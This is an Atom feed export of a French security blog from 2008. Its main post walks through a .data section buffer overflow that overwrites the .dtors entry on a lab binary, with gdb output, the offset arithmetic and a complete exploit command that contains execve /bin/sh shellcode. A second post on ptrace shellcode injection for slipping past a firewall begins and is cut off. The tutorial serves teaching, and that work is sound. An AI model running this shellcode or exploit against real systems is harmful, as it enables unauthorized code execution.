de m_101 (que je remercie au passage ).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Pour plus d'infos , consulter le "readme" inclu a l'archive.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;A trés bientot et merci a tous \o !&lt;br /&gt;&lt;br /&gt;ps2: Retrouver l'appel a participation au projet sur  le forum&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.collective-utopia.no-ip.fr/"&gt;Collective-Utopia&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-6918703503783947667?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/T_AoVMed0Bhqa5SMltYzv1q622o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T_AoVMed0Bhqa5SMltYzv1q622o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/T_AoVMed0Bhqa5SMltYzv1q622o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T_AoVMed0Bhqa5SMltYzv1q622o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/3WfdnW3g12U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/6918703503783947667/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=6918703503783947667" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6918703503783947667?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6918703503783947667?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/3WfdnW3g12U/data-overflow-et-utilisation-de-dboee.html" title=".Data Overflow et utilisation de &quot;DBOEE&quot; pour générer l'exploit approprié et exploiter" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/08/data-overflow-et-utilisation-de-dboee.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MFQnszfSp7ImA9WxRTEEQ.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-7960379329613969381</id><published>2008-08-09T12:38:00.000+02:00</published><updated>2008-08-30T14:30:13.585+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-30T14:30:13.585+02:00</app:edited><title>.Data Section overflow</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Hello World ! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Me revoila pour un petit billet (probablement un des derniers de l'été /o\  mais pas le dernier de ce blog , loin de la ;-) ! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas  un article sur les Data overflow?" .&lt;br /&gt;Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .&lt;br /&gt;                                                  &lt;span style="color: rgb(51, 51, 255);"&gt; |------------ Environnement&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; -----------|&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                  Il reste inchangé , cependant il est bon de le rappeller :&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Linux Free 2.6.22.19-desktop-2mdv 2008 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;- GNU/Linux&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;i686 Intel(R) Pentium(R) 4 CPU 2.93GHz&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;                                                         |------------ Environnement&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; -----------|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Commençons la pratique :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Tout d'abord regardons l'organisation des sections  de notre programme vulnérable (fourni en fin d'article) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Data_overflow]$ size -A -x vuvu &lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;// Simpa  le nom &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;bss2  :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;section            size        addr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.interp            0x13   0x8048114&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.note.ABI-tag      0x20   0x8048128&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.gnu.hash          0x20   0x8048148&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.dynsym            0x50   0x8048168&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.dynstr            0x4c   0x80481b8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.gnu.version        0xa   0x8048204&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.gnu.version_r     0x20   0x8048210&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.rel.dyn            0x8   0x8048230&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.rel.plt           0x18   0x8048238&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.init              0x30   0x8048250&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.plt               0x40   0x8048280&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.text             0x15c   0x80482c0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.fini              0x1c   0x804841c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.rodata             0x8   0x8048438 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.eh_frame           0x4   0x8048440&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.ctors              0x8   0x8049444 &lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;---&gt; constructor &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.dtors              0x8   0x804944c&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;---&gt; destructor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;.&lt;span style="color: rgb(255, 0, 0);"&gt;jcr                0x4   0x8049454&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.dynamic           0xc8   0x8049458&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.got                0x4   0x8049520&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.got.plt           0x18   0x8049524&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.data             0x120   0x8049540&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;---&gt; Section .Data contenant le buffer vulnérable&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.bss                0x4   0x8049660&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.comment          0x177         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_aranges     0x50         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_pubnames    0x25         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_info       0x1cd         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_abbrev      0x6f         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_line       0x147         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_str         0xcf         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.debug_ranges      0x40         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Total             0xbc7&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor &amp;amp; Destructor).&lt;br /&gt;Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du&lt;br /&gt;compilateurs gcc.&lt;br /&gt;Elles  permettent l’exécution de fonctions avant l’appel à la fonction&lt;br /&gt;main() et avant le dernier exit() du programme .&lt;br /&gt;( c'est a dire qu'elle le construisent et le détruisent a la fin ).&lt;br /&gt;&lt;br /&gt;Ainsi, en faisant déborder le buffer vulnérable de la section .data nous&lt;br /&gt;arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre&lt;br /&gt;programme.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;----------------------------------&gt;&lt;/span&gt;&lt;br /&gt;Organisation des Ctors et Dtors:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xffffffff &lt;adresse&gt; &lt;adresse&gt; . . . 0x00000000&lt;/adresse&gt;&lt;/adresse&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;----------------------------------&lt;/span&gt;&lt;br /&gt;Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes  en mémoire .&lt;br /&gt;&lt;br /&gt;Dans vuvu.c , la section .dtors est justement vide :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;----------------------------------&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Data&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;_overflow]$ objdump -s -j .dtors vuvu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;bss2:     file format elf32-i386&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Contents of section .dtors:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 804944c ffffffff 00000000  &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;----------------------------------  &lt;span style="color: rgb(204, 204, 204);"&gt;Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;----------------------------------&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) disas main&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Dump of assembler code for function main:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048344 &lt;main+0&gt;:    lea    0x4(%esp),%ecx&lt;/main+0&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048348 &lt;main+4&gt;:    and    $0xfffffff0,%esp&lt;/main+4&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804834b &lt;main+7&gt;:    pushl  0xfffffffc(%ecx)&lt;/main+7&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804834e &lt;main+10&gt;:   push   %ebp&lt;/main+10&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804834f &lt;main+11&gt;:   mov    %esp,%ebp&lt;/main+11&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048351 &lt;main+13&gt;:   push   %ecx&lt;/main+13&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048352 &lt;main+14&gt;:   sub    $0x14,%esp&lt;/main+14&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048355 &lt;main+17&gt;:   mov    0x4(%ecx),%eax&lt;/main+17&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048358 &lt;main+20&gt;:   add    $0x4,%eax&lt;/main+20&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804835b &lt;main+23&gt;:   mov    (%eax),%eax&lt;/main+23&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804835d &lt;main+25&gt;:   mov    %eax,0x4(%esp)&lt;/main+25&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048361 &lt;main+29&gt;:   movl   $0x8049560,(%esp)&lt;/main+29&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048368 &lt;main+36&gt;:   call   0x80482b0 &lt;strcpy@plt&gt;&lt;/strcpy@plt&gt;&lt;/main+36&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804836d &lt;main+41&gt;:   add    $0x14,%esp&lt;/main+41&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048370 &lt;main+44&gt;:   pop    %ecx&lt;/main+44&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048371 &lt;main+45&gt;:   pop    %ebp&lt;/main+45&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048372 &lt;main+46&gt;:   lea    0xfffffffc(%ecx),%esp&lt;/main+46&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048375 &lt;main+49&gt;:   ret    &lt;/main+49&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;End of assembler dump.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Adresse de notre buffer :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) p &amp;amp; buf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$1 = (&lt;data&gt; *)&lt;/data&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;0x8049560&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;--------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Adresse de la section Dtors:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) mai i section&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Exec file:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;    `/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu', &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;        file type elf32-i386.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08049444-&gt;0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;0x0804944c&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-&gt;0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08049660-&gt;0x08049664 at 0x00000660: .bss ALLOC&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/2 0x0804944c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x804944c &lt;__dtor_list__&gt;:      0xffffffff      0x00000000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ça rappelle pas un truc ça ...?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Revoila notre Section Dtors bien vide comme vu précédemment.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) p (0x804944c+4) -  0x8049560&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$2 = &lt;span style="color: rgb(255, 102, 0);"&gt;272&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;----------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Nous avons donc  nombre d’octets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;informations pour exploiter notre programme.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;On utilisera ici  un shellcode de 18 Octets soit le calcul suivant :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 272-18=254&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;B&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;uffer :&lt;/span&gt;0x8049560 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;donc en little endian :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;\x60\x95\x04\x08&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Reste plus qu'a rassembler les infos pour créer notre exploit :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Data&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;_overflow]$  ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sh-3.2$ &lt;/span&gt;&lt;br /&gt;On vois ici l'un des avantages  de cette méthode  : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .&lt;br /&gt;Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme  (appel a exit() donc au destructeur )  contrairement a une exploitation qui se déroulerait sur la pile .&lt;br /&gt;Et , rappellez-vous  au sujet des Ctors et Dtors : ce sont deux attributs du&lt;br /&gt;compilateurs gcc comme on l'a dit plus haut .&lt;br /&gt;En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !&lt;br /&gt;Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .&lt;br /&gt;A trés bientot pour de nouvelles aventures :'-) .&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;----------------------------------&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255);" href="http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/vuvu.c"&gt;Programme vulnérable &lt;/a&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/Data_poc.pl"&gt;&lt;br /&gt;Proof of concept (pl)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Et comme l'été on s'ennui :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/data-poc.c"&gt;Proof of concept (c)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;----------------------------------  &lt;span style="color: rgb(204, 204, 204);"&gt;See you .... o/&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-7960379329613969381?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vNPOCGwNuU_kxCabMTKXI2J4HaM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vNPOCGwNuU_kxCabMTKXI2J4HaM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vNPOCGwNuU_kxCabMTKXI2J4HaM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vNPOCGwNuU_kxCabMTKXI2J4HaM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/iiH_E1yjVDg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/7960379329613969381/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=7960379329613969381" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7960379329613969381?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7960379329613969381?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/iiH_E1yjVDg/heap-overflow-data-section-overflow.html" title=".Data Section overflow" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/08/heap-overflow-data-section-overflow.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUAHRnkyfCp7ImA9WxdVFkk.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-4825322031287797225</id><published>2008-07-20T10:27:00.000+02:00</published><updated>2008-07-21T15:42:17.794+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-07-21T15:42:17.794+02:00</app:edited><title>Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()</title><content type="html">Yop all o/ !&lt;br /&gt;Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall &lt;span style="color: rgb(255, 0, 0);"&gt;Ptrace()&lt;/span&gt; .&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Commençons donc par une petite explication et mise en situation :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;---------------------------------------------&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Avant tout un petit mot sur l'environnement de test utilisé ici :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# uname -a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Le tout sans aucune modifications ,attention toutefois car il est ici  nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .&lt;/span&gt;&lt;br /&gt;&lt;---------------------------------------------&gt;&lt;br /&gt;-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;exemple :&lt;/span&gt;&lt;br /&gt;Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.&lt;br /&gt;Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein 